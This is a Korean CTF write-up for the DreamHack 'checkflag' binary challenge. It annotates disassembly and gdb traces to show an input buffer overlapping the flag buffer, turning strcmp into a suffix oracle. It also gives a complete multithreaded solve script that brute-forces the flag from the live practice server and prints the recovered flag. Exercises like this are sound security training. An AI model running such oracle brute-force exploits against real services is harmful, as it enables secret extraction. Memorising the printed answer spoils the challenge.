[🥉 Bronze 3] 리크도 셸도 없이 strcmp 하나를 오라클로 바꾸기 — DreamHack checkflag 풀이

cd extracted
file checkflag && checksec --file=checkflag

s|mov    rbx,rsp$|&                   ; rbx = 입력 버퍼 (rsp+0x00)|
s|rep stos DWORD PTR \[rdi\],eax|&  ; 0xc8 바이트 전부 0 으로|
s|lea    rbp,\[rbx+0x40\]$|&           ; ★rbp = flag 버퍼 = 입력 버퍼 + 0x40|

objdump -d -M intel --start-address=0x7f7 --stop-address=0x830 extracted/checkflag \
  | sed -n '8,26p' | sed -f annotate_main.sed

mov  rbx, rsp              ; rbx = 스택 버퍼 시작
rep stos DWORD PTR [rdi]   ; 0xc8 바이트를 0 으로 밀고
lea  rbp, [rbx+0x40]       ; rbp = rbx + 0x40

mov  edx, 0xc8             ; 200 바이트까지 받는다
mov  rsi, rbx              ; 목적지는 rbx — flag 버퍼보다 0x40 앞
call read
 
repnz scas                 ; strlen(flag 버퍼)
cmp  rax, rdx              ; 입력 길이보다 길면 Failed
call strcmp                ; strcmp(rbx, rbp)

        rbx+0x00                rbx+0x40                rbx+0x7f      rbx+0xc8
           |                       |                       |             |
입력 read  [=======================|=======================|=============]  0xc8 바이트
flag fgets                         [=======================]                0x40 바이트
                                   ↑
                        여기부터 우리가 덮어쓸 수 있다

python3 -c "
import sys
d = 4
p = b'A'*d + b'GUESS'
p = p + b'\x00'*(0x40 - len(p)) + b'A'*d
sys.stdout.buffer.write(p)" > payload_d4.bin

set pagination off
set confirm off
break *(main+0xbd)
run < payload_d4.bin
printf "\n=== main 안 strcmp 호출 직전 ===\n"
printf "arg1 rdi (입력 버퍼) = %p\n", $rdi
printf "arg2 rsi (flag 버퍼) = %p\n", $rsi
printf "간격 rsi - rdi       = 0x%lx  <-- 0x40 이면 겹침 확정\n", (unsigned long)$rsi-(unsigned long)$rdi
printf "입력 버퍼 내용        = %s\n", (char *)$rdi
printf "flag 버퍼 내용        = %s  <-- 앞 4바이트가 A 로 덮였다\n", (char *)$rsi
quit

cd local && gdb -q -batch -x cmds.gdb ./checkflag 2>&1 | tail -11

arg1 rdi (입력 버퍼) = 0x7fffffffd5d0
arg2 rsi (flag 버퍼) = 0x7fffffffd610
간격 rsi - rdi       = 0x40
입력 버퍼 내용        = AAAAGUESS
flag  버퍼 내용       = AAAA0cal_t3st_fl4g_for_checkflag_5678}

#!/usr/bin/env python3
"""오라클이 왜 성립하는지 페이로드를 직접 찍어 본다."""
BUF = 0x40
 
def build(d, guess):
    K = b"A" * d                         # flag 앞 d바이트를 덮을 알려진 바이트
    A = K + guess                        # strcmp 좌변에 놓을 기대 문자열
    head = A + b"\x00" * (BUF - len(A))  # NUL 로 끊는다
    return head + K                      # 총 0x40 + d
 
flag = b"DH{ABCDEF}"                     # 설명용 가짜 flag
for d in (0, 3, 7):
    p = build(d, b"?")
    left  = p[:p.index(b"\x00")]                     # strcmp 좌변
    right = b"A" * d + flag[d:]                      # 덮인 뒤의 flag 버퍼
    print(f"d={d}  보낸길이={len(p):3d}  좌변={left!r:14}  우변(flag버퍼)={right!r}")
    print(f"        → 물어보는 것: flag[{d}:] 가 '?' 인가?   남은 부분={flag[d:]!r}")

python3 tools_oracle_demo.py

def find_length(io, workers):
    """d >= len(flag) 이면 B 가 K 뿐이라 A 와 같아진다."""
    for base in range(0, MAXLEN, workers):
        cand = list(range(base, min(base + workers, MAXLEN)))
        with ThreadPoolExecutor(max_workers=workers) as ex:
            hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
        for d, ok in zip(cand, hits):
            if ok:
                return d
    raise RuntimeError("길이 판별 실패")

CHARSET  = bytes([0x0a]) + bytes(range(0x20, 0x7f))
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET  = bytes(dict.fromkeys(PRIORITY + CHARSET))

#!/usr/bin/env python3
"""오라클의 관측 채널이 실제로 두 갈래인지 라이브 서버에 물어본다."""
import socket
HOST, PORT, BUF = "host3.dreamhack.games", 15870, 0x40
 
def ask(payload: bytes) -> bytes:
    s = socket.create_connection((HOST, PORT), timeout=8)
    s.recv(64)                       # "What's the flag? "
    s.sendall(payload)
    out = b""
    while True:
        c = s.recv(256)
        if not c:
            break
        out += c
    s.close()
    return out.strip()
 
def build(d: int, guess: bytes) -> bytes:
    K = b"A" * d
    A = K + guess
    return A + b"\x00" * (BUF - len(A)) + K
 
print("d=4  추측 'XXX'   →", ask(build(4,  b"XXX")))    # flag[4:] 가 XXX 일 리 없다
print("d=12 추측 '2G!}'  →", ask(build(12, b"2G!}")))   # flag[12:] 는 실제로 2G!}

python3 tools_oracle_channel.py

def leak(io, length, workers, verbose=True) -> bytes:
    known = b""
    for pos in range(length - 1, -1, -1):          # 뒤에서부터
        found = None
        for base in range(0, len(CHARSET), workers):
            cand = CHARSET[base:base + workers]
            with ThreadPoolExecutor(max_workers=workers) as ex:
                hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
            for c, ok in zip(cand, hits):
                if ok:
                    found = c
                    break
            if found is not None:
                break
        if found is None:
            raise RuntimeError(f"{pos}번째 문자 복원 실패")
        known = bytes([found]) + known
    return known

python3 -c "
import socket
s=socket.create_connection((\"host3.dreamhack.games\",15870),timeout=8)
print(\"배너:\", s.recv(64))
s.sendall(b\"test\n\"); print(\"응답:\", s.recv(64)); s.close()"

class Remote:
    def ask(self, payload: bytes) -> bool:
        for _ in range(4):                     # 네트워크 오류는 재시도
            try:
                s = socket.create_connection((self.host, self.port), timeout=10)
                s.recv(64)                     # "What's the flag? "
                s.sendall(payload)
                data = b""
                while True:
                    chunk = s.recv(256)
                    if not chunk:
                        break
                    data += chunk
                s.close()
                return b"Correct!" in data
            except OSError:
                continue
        raise RuntimeError("연결 실패")

[+] 메모리상 flag 문자열 길이 = 16
  [15] }
  [14] !}
  [13] G!}
  ...
  [ 1] H{RHP1_ZPWR2G!}
  [ 0] DH{RHP1_ZPWR2G!}
[+] FLAG = DH{RHP1_ZPWR2G!}

#!/usr/bin/env python3
"""checkflag (Dreamhack, Bronze III) — 스택 버퍼 겹침을 이용한 접미사 일치 오라클 flag 추출.
 
메모리 배치 (main)
    rsp+0x00 ... rsp+0xc7   read(0, rsp, 0xc8) 로 우리가 채우는 입력 버퍼(200바이트, 시작 시 전부 0)
    rsp+0x40 ... rsp+0x7f   fgets(rsp+0x40, 0x40, flag) 로 적재된 flag 문자열
 
    → 입력이 0x40바이트를 넘으면 flag 앞부분을 우리가 덮어쓴다.
      N = 0x40 + d 바이트를 보내면 flag[0:d] 는 우리 바이트 K 로 대체되고 flag[d:] 는 그대로 남는다.
 
      strcmp(rsp+0x00, rsp+0x40) 이 비교하는 두 문자열은
          A = (입력 앞 0x40바이트 중 NUL 앞까지)
          B = K + flag[d:]
      A 를 완전히 통제할 수 있으므로 "flag[d:] == G 인가?" 라는 접미사 일치 오라클이 된다.
      → 뒤에서부터 한 글자씩 복원.
"""
import argparse
import socket
import subprocess
from concurrent.futures import ThreadPoolExecutor
 
BUF = 0x40          # 입력 버퍼 시작 ~ flag 버퍼 시작까지의 거리
MAXLEN = 0x40       # fgets 최대 길이
 
# fgets 는 개행을 그대로 남기므로 0x0a 도 후보에 넣는다. 나머지는 문제 설명의 0x20~0x7e.
CHARSET = bytes([0x0a]) + bytes(range(0x20, 0x7f))
# flag 에서 자주 쓰이는 문자를 앞으로 (탐색 횟수 절약)
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET = bytes(dict.fromkeys(PRIORITY + CHARSET))
 
 
def build(d: int, guess: bytes) -> bytes:
    """flag[d:] == guess 를 물어보는 페이로드."""
    K = b"A" * d                      # flag 앞 d바이트를 덮어쓸 알려진 바이트
    A = K + guess                     # strcmp 좌변에 놓을 기대 문자열
    assert len(A) < BUF, f"A too long: {len(A)}"
    head = A + b"\x00" * (BUF - len(A))   # NUL 로 끊어 A 를 확정, 나머지는 0
    return head + K                       # 총 0x40 + d 바이트
 
 
class Local:
    def __init__(self, path):
        self.path = path
 
    def ask(self, payload: bytes) -> bool:
        p = subprocess.run([self.path], input=payload,
                           stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
        return b"Correct!" in p.stdout
 
 
class Remote:
    def __init__(self, host, port):
        self.host, self.port = host, port
 
    def ask(self, payload: bytes) -> bool:
        for _ in range(4):                     # 네트워크 오류는 재시도
            try:
                s = socket.create_connection((self.host, self.port), timeout=10)
                s.settimeout(10)
                s.recv(64)                     # "What's the flag? "
                s.sendall(payload)
                data = b""
                while True:
                    chunk = s.recv(256)
                    if not chunk:
                        break
                    data += chunk
                s.close()
                return b"Correct!" in data
            except OSError:
                continue
        raise RuntimeError("연결 실패")
 
 
def find_length(io, workers) -> int:
    """d >= len(flag) 이면 B 가 K 뿐이라 A 와 같아진다 → 처음 Correct 나오는 d 가 곧 길이."""
    for base in range(0, MAXLEN, workers):
        cand = list(range(base, min(base + workers, MAXLEN)))
        with ThreadPoolExecutor(max_workers=workers) as ex:
            hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
        for d, ok in zip(cand, hits):
            if ok:
                return d
    raise RuntimeError("길이 판별 실패")
 
 
def leak(io, length, workers, verbose=True) -> bytes:
    known = b""
    for pos in range(length - 1, -1, -1):
        found = None
        for base in range(0, len(CHARSET), workers):
            cand = CHARSET[base:base + workers]
            with ThreadPoolExecutor(max_workers=workers) as ex:
                hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
            for c, ok in zip(cand, hits):
                if ok:
                    found = c
                    break
            if found is not None:
                break
        if found is None:
            raise RuntimeError(f"{pos}번째 문자 복원 실패")
        known = bytes([found]) + known
        if verbose:
            shown = known.replace(b"\n", b"\\n").decode("latin1")
            print(f"  [{pos:2d}] {shown}", flush=True)
    return known
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--local", metavar="BIN", help="로컬 바이너리 경로로 검증")
    ap.add_argument("--remote", metavar="HOST:PORT", help="원격 서비스")
    ap.add_argument("--workers", type=int, default=8)
    args = ap.parse_args()
 
    if args.local:
        io, workers = Local(args.local), args.workers
    else:
        host, port = args.remote.rsplit(":", 1)
        io, workers = Remote(host, int(port)), args.workers
 
    length = find_length(io, workers)
    print(f"[+] 메모리상 flag 문자열 길이 = {length}")
    flag = leak(io, length, workers)
    print(f"[+] FLAG = {flag.decode('latin1').strip()}")
 
 
if __name__ == "__main__":
    main()

cd local && python3 ../solve.py --local ./checkflag          # 가짜 flag 로 기법 검증
python3 solve.py --remote host3.dreamhack.games:15870 --workers 8   # 라이브